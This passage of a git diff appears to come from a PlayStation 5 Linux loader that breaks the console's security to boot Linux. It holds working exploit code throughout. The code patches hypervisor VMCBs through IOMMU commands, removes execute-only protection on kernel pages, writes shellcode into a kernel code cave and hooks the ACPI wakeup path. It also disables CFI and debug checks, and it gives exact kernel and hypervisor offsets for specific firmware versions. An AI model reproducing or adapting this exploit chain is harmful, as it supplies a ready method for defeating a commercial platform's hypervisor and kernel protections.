HV_VCPU offsets for fw 0x%04x\n", fw); + return -1; + } + + for (int c = 0; c < 16; c++) { + vmcb_pa[c] = get_vmcb(c); + DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]); + } + + return 0; +} + +// Only valid for 3.xx and 4.xx +// 1.xx and 2.xx have dynamic page alloc for VMCB +// TODO: add 1.xx and 2.xx logic +uint64_t get_vmcb(int core) { + switch (fw) { + case 0x0300: + case 0x0310: + case 0x0320: + case 0x0321: + return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000; + break; + case 0x0400: + case 0x0402: + case 0x0403: + case 0x0450: + case 0x0451: + return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000; + break; + default: + return -1; + } +} + +int iommu_selftest(void) { + DEBUG_PRINT("\n[iommu] self-test\n"); + + uint64_t scratch = 0xAAAAAAAABBBBBBBBULL; + uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch); + + if (!scratch_pa || scratch_pa >= 0x100000000ULL) { + DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa); + return -1; + } + + uint64_t pattern = 0xDEADCAFE12345678ULL; + DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch); + + iommu_write8_pa(scratch_pa, pattern); + uint64_t readback = kread64(dmap + scratch_pa); + + DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback, + (readback == pattern) ? "OK" : "FAIL"); + + return (readback == pattern) ? 0 : -1; +} + +int stage3_patch_vmcbs(void) { + DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n"); + + int cur = sceKernelGetCurrentCpu(); + pin_to_core(cur); + + for (int i = 0; i < 16; i++) { + uint64_t pa = vmcb_pa[i]; + + iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL); + iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL); + iommu_write8_pa(pa + 0x10, 0x000000000000000FULL); + iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL); + iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL); + + DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa); + + // uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00); + // uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08); + // uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10); + // uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58); + // uint64_t vmcb_90 = gpu_read_phys8(pa + 0x90); + + // printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n", + // vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90 + // ); + + usleep(1000); + } + + pin_to_core(9); + + DEBUG_PRINT(" done, 16 cores\n"); + return 0; +} + +static jmp_buf jmp_env; +static volatile int vmmcall_faulted = 0; + +void handle_sigill(int sig) { + vmmcall_faulted = 1; + longjmp(jmp_env, 1); +} + +int stage4_force_vmcb_reload(void) { + + int ret = 0; + + auto old_handler = signal(SIGILL, handle_sigill); + + for (int i = 0; i < 16; i++) { + pin_to_core(i); + vmmcall_faulted = 0; + + if (setjmp(jmp_env) == 0) { + __asm__ volatile("vmmcall"); + } + + usleep(1000); + DEBUG_PRINT("[vmmcall] core: %02d %s\n", i, + vmmcall_faulted ? "SIGILL (caught)" : "ok"); + + // Accumulate results + ret |= vmmcall_faulted; + } + + signal(SIGILL, old_handler); + + // Return -1 if we didn't caught them + return ret ? 0 : -1; +} + +int stage5_remove_xotext(void) { + DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n"); + + uint64_t start = ktext; + uint64_t end = kdata; + int n __attribute__((unused)) = 0; + + for (uint64_t a = start; a < end; a += 0x1000) { + page_chain_set_rw(a); + n++; + } + DEBUG_PRINT(" %d pages on ktext\n", n); + + start = kdata; + end = kdata + 0x08000000; + n = 0; + for (uint64_t a = start; a < end; a += 0x1000) { + page_chain_set_rw(a); + n++; + } + DEBUG_PRINT(" %d pages on kdata\n", n); + return 0; +} + +int stage6_kernel_pmap_invalidate_all(void) { + + DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n"); + + static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0}; + + int pipe_fds[2]; + // set O_NONBLOCK to avoid PIPE_DIRECTW + if (pipe2(pipe_fds, O_NONBLOCK)) { + return -1; + } + + // the pipe starts off as 1 page large - we need to write into the pipe so it + // will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt + // use the one page fast path + if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) { + close(pipe_fds[0]); + close(pipe_fds[1]); + return -1; + } + + // dont need this anymore + close(pipe_fds[1]); + + uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]); + + if (!INKERNEL(read_fd_file_data)) { + close(pipe_fds[0]); + return -1; + } + + uint64_t read_fd_buffer; + kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer, + sizeof(read_fd_buffer)); + + if (!INKERNEL(read_fd_buffer)) { + close(pipe_fds[0]); + return -1; + } + + // inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be + // called anyvalid is only set if there is at least 1 non global entry being + // removed set the first entry as non global, its being removed anyway so its + // fine (?) + if (!page_remove_global(read_fd_buffer)) { + close(pipe_fds[0]); + return -1; + } + + // fd 0 is read end, it holds the buffer, this close is what does the + // pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob + close(pipe_fds[0]); + return 0; +} diff --git a/source/iommu.c b/source/iommu.c index 20ac73a..f5836f4 100644 --- a/source/iommu.c +++ b/source/iommu.c @@ -1,103 +1,103 @@ -#include "iommu.h" -#include "utils.h" -#include -#include - -iommu_ctx iommu_store; -iommu_ctx *iommu = &iommu_store; - -int iommu_init(void) { - uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC); - if (softc_ptr == ktext) { - DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset"); - return -1; - } - - uint64_t softc = kread64(softc_ptr); - if (!softc) { - DEBUG_PRINT("[iommu] softc is NULL\n"); - return -2; - } - - iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA); - iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR); - iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR); - iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR); - - if (!iommu->cb2_base || !iommu->mmio_va) { - DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n", - iommu->cb2_base, iommu->mmio_va); - return -3; - } - - DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc, - iommu->cb2_base, iommu->mmio_va); - return 0; -} - -// Submit a single 16-byte command and wait for completion -void iommu_submit_cmd(const void *cmd) { - - if (iommu->mmio_va == 0) - iommu_init(); - - uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL); - uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK; - - kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE); - kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail); - - while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) != - kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL)) - ; -} - -// Write 8 bytes to a physical address using IOMMU completion wait store -void iommu_write8_pa(uint64_t pa, uint64_t val) { - uint32_t cmd[4]; - cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; - cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; - cmd[2] = (uint32_t)(val); - cmd[3] = (uint32_t)(val >> 32); - iommu_submit_cmd(cmd); -} - -// Write 4 bytes to a physical address -void iommu_write4_pa(uint64_t pa, uint32_t val) { - uint64_t aligned = pa & ~7ULL; - uint64_t existing = kread64(dmap + aligned); - uint32_t off = (uint32_t)(pa & 7); - memcpy((uint8_t *)&existing + off, &val, 4); - iommu_write8_pa(aligned, existing); -} - -// Write arbitrary length to a physical address in 8-byte chunks -void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) { - const uint8_t *src = (const uint8_t *)data; - uint32_t off = 0; - - if (pa & 7) { - uint32_t head = 8 - (uint32_t)(pa & 7); - if (head > len) - head = len; - uint64_t aligned = pa & ~7ULL; - uint64_t existing = kread64(dmap + aligned); - memcpy((uint8_t *)&existing + (pa & 7), src, head); - iommu_write8_pa(aligned, existing); - off += head; - } - - while (off + 8 <= len) { - uint64_t val; - memcpy(&val, src + off, 8); - iommu_write8_pa(pa + off, val); - off += 8; - } - - if (off < len) { - uint64_t aligned = pa + off; - uint64_t existing = kread64(dmap + aligned); - memcpy(&existing, src + off, len - off); - iommu_write8_pa(aligned, existing); - } -} \ No newline at end of file +#include "iommu.h" +#include "utils.h" +#include +#include + +iommu_ctx iommu_store; +iommu_ctx *iommu = &iommu_store; + +int iommu_init(void) { + uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC); + if (softc_ptr == ktext) { + DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset"); + return -1; + } + + uint64_t softc = kread64(softc_ptr); + if (!softc) { + DEBUG_PRINT("[iommu] softc is NULL\n"); + return -2; + } + + iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA); + iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR); + iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR); + iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR); + + if (!iommu->cb2_base || !iommu->mmio_va) { + DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n", + iommu->cb2_base, iommu->mmio_va); + return -3; + } + + DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc, + iommu->cb2_base, iommu->mmio_va); + return 0; +} + +// Submit a single 16-byte command and wait for completion +void iommu_submit_cmd(const void *cmd) { + + if (iommu->mmio_va == 0) + iommu_init(); + + uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL); + uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK; + + kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE); + kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail); + + while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) != + kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL)) + ; +} + +// Write 8 bytes to a physical address using IOMMU completion wait store +void iommu_write8_pa(uint64_t pa, uint64_t val) { + uint32_t cmd[4]; + cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; + cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; + cmd[2] = (uint32_t)(val); + cmd[3] = (uint32_t)(val >> 32); + iommu_submit_cmd(cmd); +} + +// Write 4 bytes to a physical address +void iommu_write4_pa(uint64_t pa, uint32_t val) { + uint64_t aligned = pa & ~7ULL; + uint64_t existing = kread64(dmap + aligned); + uint32_t off = (uint32_t)(pa & 7); + memcpy((uint8_t *)&existing + off, &val, 4); + iommu_write8_pa(aligned, existing); +} + +// Write arbitrary length to a physical address in 8-byte chunks +void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) { + const uint8_t *src = (const uint8_t *)data; + uint32_t off = 0; + + if (pa & 7) { + uint32_t head = 8 - (uint32_t)(pa & 7); + if (head > len) + head = len; + uint64_t aligned = pa & ~7ULL; + uint64_t existing = kread64(dmap + aligned); + memcpy((uint8_t *)&existing + (pa & 7), src, head); + iommu_write8_pa(aligned, existing); + off += head; + } + + while (off + 8 <= len) { + uint64_t val; + memcpy(&val, src + off, 8); + iommu_write8_pa(pa + off, val); + off += 8; + } + + if (off < len) { + uint64_t aligned = pa + off; + uint64_t existing = kread64(dmap + aligned); + memcpy(&existing, src + off, len - off); + iommu_write8_pa(aligned, existing); + } +} diff --git a/source/loader.c b/source/loader.c index 394e357..cf439c7 100644 --- a/source/loader.c +++ b/source/loader.c @@ -31,8 +31,7 @@ uint64_t alloc_page(void) { return va_to_pa_user((uintptr_t)page); } -void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, - int bits) { +void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits) { uint64_t entry; uintptr_t pml4e = pml4 + pmap_pml4e_index(va) * 8; @@ -100,18 +99,21 @@ static const char *get_overridden_filename(const char *filename) { for (char *p = overrides_start; p < overrides_end; p++) if (*p == '\n') *p = 0; - overrides_start[size] = 0; // make sure the last string is null-terminated + overrides_start[size] = + 0; // make sure the last string is null-terminated } } } - if (state == 1) // overrides not found, or unreadable, or currently looking for it + if (state == + 1) // overrides not found, or unreadable, or currently looking for it return filename; size_t needle_len = strlen(filename); for (const char *p = overrides_start; p < overrides_end;) { size_t haystack_len = strlen(p); - if (haystack_len > needle_len && !strncmp(p, filename, needle_len) && p[needle_len] == '=') + if (haystack_len > needle_len && !strncmp(p, filename, needle_len) && + p[needle_len] == '=') return p + needle_len + 1; p += haystack_len + 1; } @@ -229,7 +231,8 @@ int fetch_linux(struct linux_info *info) { } if (dump_device_firmwares(initrd_path) < 0) { - notify("Something went wrong while dumping device firmwares - Continuing\n"); + notify( + "Something went wrong while dumping device firmwares - Continuing\n"); } size_t vram_size; @@ -266,7 +269,7 @@ int fetch_linux(struct linux_info *info) { info->initrd_size = initrd_size; info->vram_size = vram_size; strcpy(info->cmdline, cmdline); - info->kit_type = (int) get_kit_type(); + info->kit_type = (int)get_kit_type(); uint64_t page = alloc_page(); kwrite(pa_to_dmap(page), info, sizeof(struct linux_info)); diff --git a/source/main.c b/source/main.c index ec9f54f..b503bae 100644 --- a/source/main.c +++ b/source/main.c @@ -1,178 +1,180 @@ -#include "main.h" -#include "../shellcode_kernel/shellcode_kernel.h" -#include "hv_defeat.h" -#include "loader.h" -#include "offsets.h" -#include "utils.h" -#include -#include - -int main(void) { - - if (setup_env()) { - notify("Something went wrong while initiating.\nPlease make sure your fw " - "is supported."); - return -1; - } - if (hv_defeat()) { - notify("Something went wrong while defeating Hypervisor.\nPlease make sure " - "your fw is supported."); - return -1; - } - - if (fetch_linux(&linux_i)) { - notify("Something went wrong while installing linux files.\n"); - return -1; - } - - if (prepare_resume()) { - notify("Something went wrong while preparing resume.\n"); - return -1; - } - - notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait for the orange light to stop " - "blinking and then wakeup to Linux :)\n"); - - sleep(5); - enter_rest_mode(); - - while (1) { - sleep(30); - } - - return 0; -} - -int setup_env(void) { - notify("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system " - "to boot Linux on sleep resume.\n"); - if (set_offsets()) - return -1; - if (init_global_vars()) - return -1; - return 0; -} - -int prepare_resume(void) { - - if (env_offset.KERNEL_CODE_CAVE == 0) { - printf("Error: missing code cave offset\n"); - return -1; - } - - if (env_offset.KERNEL_DATA_CAVE == 0) { - printf("Error: missing data cave offset\n"); - return -1; - } - - printf("\nWriting Shell Code for WakeUp path and patching " - "AcpiSetFirmwareWakingVector in acpi_wakeup_machdep\n"); - - uint64_t dest_text = ktext + env_offset.KERNEL_CODE_CAVE; - uint64_t dest_data = - ktext + env_offset.KERNEL_DATA_CAVE; // For arguments only, rest of .data - // variables are in shellcode - - uint64_t sz = shellcode_kernel_text_len; - - uint32_t CHUNK = 0x1000; - uint64_t written = 0; - while (written < sz) { - uint32_t n = (sz - written > CHUNK) ? CHUNK : (uint32_t)(sz - written); - kernel_copyin(&shellcode_kernel_text[written], dest_text + written, n); - written += n; - } - DEBUG_PRINT(" copied %d bytes to text cave\n", sz); - - DEBUG_PRINT("\n\nI wrote this shellcode text on %016lx (ktext+%08lx):\n", - dest_text, env_offset.KERNEL_CODE_CAVE); - for (uint64_t i = 0; i < sz; i++) { - DEBUG_PRINT("%02x", kread8(dest_text + i)); - } - DEBUG_PRINT("\n\n"); - - shellcode_kernel_args args; - - // Fill structure of ShellCode Arguments - args.fw_version = kernel_get_fw_version() & 0xFFFF0000; - args.ktext = ktext; - args.kdata = kdata; - args.dmap_base = dmap; - - args.fun_printf = ktext + env_offset.FUN_PRINTF; - args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA; - args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS; - args.fun_hv_iommu_wait_completion = - ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION; - args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS; - args.fun_smp_no_rendevous_barrier = - ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER; - args.g_vbios = ktext + env_offset.G_VBIOS; - - args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL; - args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE; - args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE; - - args.iommu_mmio_va = iommu->mmio_va; - args.iommu_cb2_va = iommu->cb2_base; - args.iommu_cb3_va = iommu->cb3_base; - args.iommu_eb_va = iommu->eb_base; - memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16); - - args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE; - args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA; - args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA; - args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA; - - args.linux_info_va = linux_i.linux_info; // To relocate by kernel shellcode - // bzimage_va and initrd_va are passed in the linux_info structure - - // Copy arguments to small .data cave - kernel_copyin(&args, dest_data, sizeof(args)); - - DEBUG_PRINT("\n\nI wrote this arguments data on %016lx (ktext+%08lx):\n", - dest_data, env_offset.KERNEL_DATA_CAVE); - for (uint64_t i = 0; i < sz; i++) { - DEBUG_PRINT("%02x", kread8(dest_data + i)); - } - DEBUG_PRINT("\n\n"); - - // Now find the address 0x11AA11AA11AA11AA used as marker for args_ptr and - // overwrite it with proper VA in .data for arguments - int offset = -1; - for (int i = 0; i < 0x40; i++) { - if (*(uint64_t *)((uint64_t)shellcode_kernel_text + i) == - 0x11AA11AA11AA11AA) { - offset = i; - break; - } - } - if (offset == -1) { - notify("Could not find offset of args_ptr address - Aborting\n"); - } - kwrite64(dest_text + offset, dest_data); - - DEBUG_PRINT("\n\nI wrote this ptr %016lx on %016lx (offset %08lx)\n", - dest_data, dest_text + offset, offset); - - uint64_t instr_to_patch = - ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP; // AcpiSetFirmwareWakingVector - // in acpi_wakeup_machdep - int64_t diff_call = dest_text - instr_to_patch; - uint8_t new_instr[5]; - new_instr[0] = 0xE8; // Call Near - *((uint32_t *)&new_instr[1]) = - (int32_t)(diff_call - 5); // Call Offset is relative to the next - // instruction and Call uses 5 bytes - - // Patch instruction - kernel_copyin(new_instr, instr_to_patch, 5); - DEBUG_PRINT("Instruction patched\n"); - - // Patch debug exception - kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3); - // Patch cfi_check - kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3); - - return 0; -} \ No newline at end of file +#include "main.h" +#include "../shellcode_kernel/shellcode_kernel.h" +#include "hv_defeat.h" +#include "loader.h" +#include "offsets.h" +#include "utils.h" +#include +#include + +int main(void) { + + if (setup_env()) { + notify("Something went wrong while initiating.\nPlease make sure your fw " + "is supported."); + return -1; + } + if (hv_defeat()) { + notify("Something went wrong while defeating Hypervisor.\nPlease make sure " + "your fw is supported."); + return -1; + } + + if (fetch_linux(&linux_i)) { + notify("Something went wrong while installing linux files.\n"); + return -1; + } + + if (prepare_resume()) { + notify("Something went wrong while preparing resume.\n"); + return -1; + } + + notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait " + "for the orange light to stop " + "blinking and then wakeup to Linux :)\n"); + + sleep(5); + enter_rest_mode(); + + while (1) { + sleep(30); + } + + return 0; +} + +int setup_env(void) { + notify("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system " + "to boot Linux on sleep resume.\n"); + if (set_offsets()) + return -1; + if (init_global_vars()) + return -1; + return 0; +} + +int prepare_resume(void) { + + if (env_offset.KERNEL_CODE_CAVE == 0) { + printf("Error: missing code cave offset\n"); + return -1; + } + + if (env_offset.KERNEL_DATA_CAVE == 0) { + printf("Error: missing data cave offset\n"); + return -1; + } + + printf("\nWriting Shell Code for WakeUp path and patching " + "AcpiSetFirmwareWakingVector in acpi_wakeup_machdep\n"); + + uint64_t dest_text = ktext + env_offset.KERNEL_CODE_CAVE; + uint64_t dest_data = + ktext + env_offset.KERNEL_DATA_CAVE; // For arguments only, rest of .data + // variables are in shellcode + + uint64_t sz = shellcode_kernel_text_len; + + uint32_t CHUNK = 0x1000; + uint64_t written = 0; + while (written < sz) { + uint32_t n = (sz - written > CHUNK) ? CHUNK : (uint32_t)(sz - written); + kernel_copyin(&shellcode_kernel_text[written], dest_text + written, n); + written += n; + } + DEBUG_PRINT(" copied %d bytes to text cave\n", sz); + + DEBUG_PRINT("\n\nI wrote this shellcode text on %016lx (ktext+%08lx):\n", + dest_text, env_offset.KERNEL_CODE_CAVE); + for (uint64_t i = 0; i < sz; i++) { + DEBUG_PRINT("%02x", kread8(dest_text + i)); + } + DEBUG_PRINT("\n\n"); + + shellcode_kernel_args args; + + // Fill structure of ShellCode Arguments + args.fw_version = kernel_get_fw_version() & 0xFFFF0000; + args.ktext = ktext; + args.kdata = kdata; + args.dmap_base = dmap; + + args.fun_printf = ktext + env_offset.FUN_PRINTF; + args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA; + args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS; + args.fun_hv_iommu_wait_completion = + ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION; + args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS; + args.fun_smp_no_rendevous_barrier = + ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER; + args.g_vbios = ktext + env_offset.G_VBIOS; + + args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL; + args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE; + args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE; + + args.iommu_mmio_va = iommu->mmio_va; + args.iommu_cb2_va = iommu->cb2_base; + args.iommu_cb3_va = iommu->cb3_base; + args.iommu_eb_va = iommu->eb_base; + memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16); + + args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE; + args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA; + args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA; + args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA; + + args.linux_info_va = linux_i.linux_info; // To relocate by kernel shellcode + // bzimage_va and initrd_va are passed in the linux_info structure + + // Copy arguments to small .data cave + kernel_copyin(&args, dest_data, sizeof(args)); + + DEBUG_PRINT("\n\nI wrote this arguments data on %016lx (ktext+%08lx):\n", + dest_data, env_offset.KERNEL_DATA_CAVE); + for (uint64_t i = 0; i < sz; i++) { + DEBUG_PRINT("%02x", kread8(dest_data + i)); + } + DEBUG_PRINT("\n\n"); + + // Now find the address 0x11AA11AA11AA11AA used as marker for args_ptr and + // overwrite it with proper VA in .data for arguments + int offset = -1; + for (int i = 0; i < 0x40; i++) { + if (*(uint64_t *)((uint64_t)shellcode_kernel_text + i) == + 0x11AA11AA11AA11AA) { + offset = i; + break; + } + } + if (offset == -1) { + notify("Could not find offset of args_ptr address - Aborting\n"); + } + kwrite64(dest_text + offset, dest_data); + + DEBUG_PRINT("\n\nI wrote this ptr %016lx on %016lx (offset %08lx)\n", + dest_data, dest_text + offset, offset); + + uint64_t instr_to_patch = + ktext + + env_offset.HOOK_ACPI_WAKEUP_MACHDEP; // AcpiSetFirmwareWakingVector + // in acpi_wakeup_machdep + int64_t diff_call = dest_text - instr_to_patch; + uint8_t new_instr[5]; + new_instr[0] = 0xE8; // Call Near + *((uint32_t *)&new_instr[1]) = + (int32_t)(diff_call - 5); // Call Offset is relative to the next + // instruction and Call uses 5 bytes + + // Patch instruction + kernel_copyin(new_instr, instr_to_patch, 5); + DEBUG_PRINT("Instruction patched\n"); + + // Patch debug exception + kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3); + // Patch cfi_check + kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3); + + return 0; +} diff --git a/source/offsets.c b/source/offsets.c index 15063bf..152a7ee 100644 --- a/source/offsets.c +++ b/source/offsets.c @@ -1,307 +1,307 @@ -#include "offsets.h" - -offset_list off_0300 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E73, - .FUN_PRINTF = 0x048B9A0, - .FUN_VA_TO_PA = 0x0831410, - .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20, - .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50, - .FUN_SMP_RENDEZVOUS = 0x0A3E850, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x0734B5D0, - .FUN_TRANSMITTER_CONTROL = 0x0B2A560, - .FUN_MP3_INITIALIZE = 0x0953890, - .FUN_MP3_INVOKE = 0x0952670, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x0752460, - .KERNEL_CFI_CHECK = 0x0441DD0, - .PS5_WIFI_FW_OFFSET = 0x1274460, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0310 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390EB3, - .FUN_PRINTF = 0x048B9E0, - .FUN_VA_TO_PA = 0x0831450, - .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60, - .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90, - .FUN_SMP_RENDEZVOUS = 0x0A3E890, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x0734B5D0, - .FUN_TRANSMITTER_CONTROL = 0x0B2A5A0, - .FUN_MP3_INITIALIZE = 0x09538D0, - .FUN_MP3_INVOKE = 0x09526B0, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x07524A0, - .KERNEL_CFI_CHECK = 0x0441E10, - .PS5_WIFI_FW_OFFSET = 0x1274490, - .PS5_WIFI_FW_SIZE = 492304, -}; - -offset_list off_0320 = { - .PMAP_STORE = 0x3D8E218, - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, - .IOMMU_SOFTC = 0x33175E0, - .VMSPACE_VM_VMID = 0x1E4, - .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, - .DATA_BASE_GVMSPACE = 0x06423F80, - .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, - .FUN_PRINTF = 0x48BD30, - .FUN_VA_TO_PA = 0x8317A0, - .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, - .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, - .FUN_SMP_RENDEZVOUS = 0xA3ED50, - .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, - .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, - .G_VBIOS = 0x734B5D0, - .FUN_TRANSMITTER_CONTROL = 0xB2AA60, - .FUN_MP3_INITIALIZE = 0x953D30, - .FUN_MP3_INVOKE = 0x952B10, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x7527F0, - .KERNEL_CFI_CHECK = 0x442160, - 